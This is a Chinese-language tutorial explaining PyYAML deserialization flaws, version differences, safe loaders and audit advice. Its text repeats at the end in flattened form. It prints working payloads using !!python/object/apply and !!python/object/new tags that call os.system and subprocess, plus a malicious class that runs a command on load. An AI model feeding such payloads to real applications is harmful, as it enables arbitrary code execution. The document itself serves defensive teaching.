Python反序列化-pyyaml模块
字数 1849 2025-08-22 22:47:39

Python反序列化安全漏洞:PyYAML模块深度解析

1. YAML与PyYAML简介

YAML是一种直观的数据序列化格式,具有以下特点:

  • 比XML更简单直观的语法
  • 比JSON更灵活的配置能力
  • 常用于配置文件解析
  • PyYAML是Python中处理YAML格式的主要库

基本函数

  • load():返回一个Python对象
  • load_all():生成一个迭代器,用于多文档YAML
  • dump():将Python对象转为YAML文档
  • dump_all():将多个Python对象输出为多文档YAML

2. PyYAML反序列化漏洞原理

2.1 漏洞本质

PyYAML的反序列化问题本质是对象注入问题,通过构造特殊的YAML标签可以执行任意代码。

2.2 版本差异

  • PyYAML < 5.1:默认不安全,直接使用load()可能导致代码执行
  • PyYAML >= 5.1:默认安全,但可通过指定不安全的Loader或使用unsafe_load()绕过安全限制

2.3 危险构造器

PyYAML通过以下构造器实现对象反序列化,这些是漏洞的关键点:

Constructor.add_multi_constructor(
    'tag:yaml.org,2002:python/object:',
    Constructor.construct_python_object)

Constructor.add_multi_constructor(
    'tag:yaml.org,2002:python/object/apply:',
    Constructor.construct_python_object_apply)

Constructor.add_multi_constructor(
    'tag:yaml.org,2002:python/object/new:',
    Constructor.construct_python_object_new)

3. 漏洞利用方式

3.1 通用POC

以下payload可用于测试和利用PyYAML反序列化漏洞:

!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]    
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]

3.2 自定义类利用

可以构造自定义类的序列化字符串:

import os
import yaml

class MaliciousClass:
    def __init__(self):
        os.system("calc.exe")

payload = yaml.dump(MaliciousClass())
# 结果: !!python/object:__main__.MaliciousClass {}

使用时需要确保目标环境中存在对应的模块和类。

4. 安全机制分析

4.1 SafeLoader限制

safe_load()使用的SafeLoader只允许基本类型的反序列化:

SafeConstructor.add_constructor(
    'tag:yaml.org,2002:null',
    SafeConstructor.construct_yaml_null)
# 其他基本类型类似...

4.2 FullLoader改进

PyYAML >=5.1默认使用FullLoader,虽然保留了对象构造能力,但在make_python_instance函数中添加了限制,阻止直接调用系统函数。

5. 防御措施

5.1 安全使用方法

安全方法 说明
safe_load() 只允许基本类型反序列化
load(..., Loader=SafeLoader) 显式指定安全加载器
safe_dump() 安全序列化方法

5.2 其他YAML库

ruamel.yaml库与PyYAML用法相似,也提供了相应的安全方法:

安全方法 (PyYAML) 安全方法 (ruamel.yaml)
safe_load() safe_load()
safe_load_all() safe_load_all()
load(...,Loader=Safeloader) load(...,Loader=Safeloader)
safe_dump() safe_dump()
safe_dump_all() safe_dump_all()

6. 代码分析关键点

  1. 构造过程

    • 解析YAML标签(如!!python/object/apply)
    • 调用对应的构造器函数
    • 最终通过make_python_instance创建对象实例
  2. 安全差异

    • SafeLoader不注册任何python/object相关的构造器
    • FullLoader注册了对象构造器但添加了执行限制
    • UnsafeLoader/旧版本Loader允许直接执行

7. 实际应用建议

  1. 配置检查

    • 确保使用PyYAML >=5.1版本
    • 检查代码中所有yaml.load()调用是否指定了安全Loader
  2. 代码审计重点

    • 查找直接使用load()的调用
    • 检查Loader参数是否可能被操控
    • 验证是否有使用unsafe_load()
  3. 替代方案

    • 对于纯配置读取,考虑使用JSON
    • 必须使用YAML时,采用safe_load()
    • 考虑使用ruamel.yaml替代PyYAML

8. 总结

PyYAML反序列化漏洞是一个典型的不安全反序列化案例,其核心问题在于:

  1. 默认情况下允许反序列化任意Python对象
  2. 通过特殊标签可以执行系统命令
  3. 虽然新版本有所改进,但不安全的用法仍然存在

开发者应当始终使用安全的方法处理YAML数据,特别是在处理不可信输入时。安全团队在审计Python应用时,应将PyYAML的使用作为重点检查对象。

Python反序列化安全漏洞:PyYAML模块深度解析 1. YAML与PyYAML简介 YAML是一种直观的数据序列化格式,具有以下特点: 比XML更简单直观的语法 比JSON更灵活的配置能力 常用于配置文件解析 PyYAML是Python中处理YAML格式的主要库 基本函数 : load() :返回一个Python对象 load_all() :生成一个迭代器,用于多文档YAML dump() :将Python对象转为YAML文档 dump_all() :将多个Python对象输出为多文档YAML 2. PyYAML反序列化漏洞原理 2.1 漏洞本质 PyYAML的反序列化问题本质是 对象注入问题 ,通过构造特殊的YAML标签可以执行任意代码。 2.2 版本差异 PyYAML < 5.1 :默认不安全,直接使用 load() 可能导致代码执行 PyYAML >= 5.1 :默认安全,但可通过指定不安全的Loader或使用 unsafe_load() 绕过安全限制 2.3 危险构造器 PyYAML通过以下构造器实现对象反序列化,这些是漏洞的关键点: 3. 漏洞利用方式 3.1 通用POC 以下payload可用于测试和利用PyYAML反序列化漏洞: 3.2 自定义类利用 可以构造自定义类的序列化字符串: 使用时需要确保目标环境中存在对应的模块和类。 4. 安全机制分析 4.1 SafeLoader限制 safe_load() 使用的SafeLoader只允许基本类型的反序列化: 4.2 FullLoader改进 PyYAML >=5.1默认使用FullLoader,虽然保留了对象构造能力,但在 make_python_instance 函数中添加了限制,阻止直接调用系统函数。 5. 防御措施 5.1 安全使用方法 | 安全方法 | 说明 | |---------|------| | safe_load() | 只允许基本类型反序列化 | | load(..., Loader=SafeLoader) | 显式指定安全加载器 | | safe_dump() | 安全序列化方法 | 5.2 其他YAML库 ruamel.yaml 库与PyYAML用法相似,也提供了相应的安全方法: | 安全方法 (PyYAML) | 安全方法 (ruamel.yaml) | |------------------|-----------------------| | safe_load() | safe_load() | | safe_load_all() | safe_load_all() | | load(...,Loader=Safeloader) | load(...,Loader=Safeloader) | | safe_dump() | safe_dump() | | safe_dump_all() | safe_dump_all() | 6. 代码分析关键点 构造过程 : 解析YAML标签(如 !!python/object/apply ) 调用对应的构造器函数 最终通过 make_python_instance 创建对象实例 安全差异 : SafeLoader不注册任何 python/object 相关的构造器 FullLoader注册了对象构造器但添加了执行限制 UnsafeLoader/旧版本Loader允许直接执行 7. 实际应用建议 配置检查 : 确保使用PyYAML >=5.1版本 检查代码中所有 yaml.load() 调用是否指定了安全Loader 代码审计重点 : 查找直接使用 load() 的调用 检查Loader参数是否可能被操控 验证是否有使用 unsafe_load() 替代方案 : 对于纯配置读取,考虑使用JSON 必须使用YAML时,采用 safe_load() 考虑使用 ruamel.yaml 替代PyYAML 8. 总结 PyYAML反序列化漏洞是一个典型的不安全反序列化案例,其核心问题在于: 默认情况下允许反序列化任意Python对象 通过特殊标签可以执行系统命令 虽然新版本有所改进,但不安全的用法仍然存在 开发者应当始终使用安全的方法处理YAML数据,特别是在处理不可信输入时。安全团队在审计Python应用时,应将PyYAML的使用作为重点检查对象。